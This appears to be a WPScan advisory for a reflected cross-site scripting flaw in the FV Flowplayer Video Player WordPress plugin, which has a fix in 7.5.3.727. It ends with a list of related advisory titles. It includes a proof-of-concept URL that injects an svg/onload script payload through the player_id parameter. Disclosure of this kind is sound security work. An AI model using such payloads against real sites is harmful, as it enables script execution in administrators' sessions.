FV Flowplayer Video Player < 7.5.3.727 – Reflected Cross-Site Scripting

Description

The plugin does not escape or validate the player_id parameter before outputting back in the Stats page in the admin dashboard, leading to a Reflected Cross-Site Scripting issue which will be executed in the context of a logged in administrator

Proof of Concept

https://example.com/wp-admin/admin.php?page=fv_player_stats&player_id=1+%3Csvg%2Fonload%3Dalert%28%2FXSS%2F%29%3E

Affects Plugins

fv-wordpress-flowplayer

Fixed in 7.5.3.727

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CWE-79

CVSS

7.1 (high)

Miscellaneous

Original Researcher

WPScanTeam

Verified

Yes

WPVDB ID

e9adc166-be7f-4066-a2c1-7926c6304fc9

Timeline

Publicly Published

2021-08-11 (about 4 years ago)

Added

2021-08-11 (about 4 years ago)

Last Updated

2021-08-11 (about 4 years ago)

Other

Published

Title

Published

2023-02-17

Title

Simple PDF Viewer <= 1.9 - Contributor+ XSS

Published

2025-06-02

Title

Music Player for Elementor < 2.4.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via album_buy_url Parameter

Published

2024-12-19

Title

Particle Background <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2021-12-20

Title

Profile Extra Fields < 1.2.4 - Reflected Cross-Site Scripting

Published

2023-05-09

Title

StopBadBots < 7.32 - Admin+ Stored XSS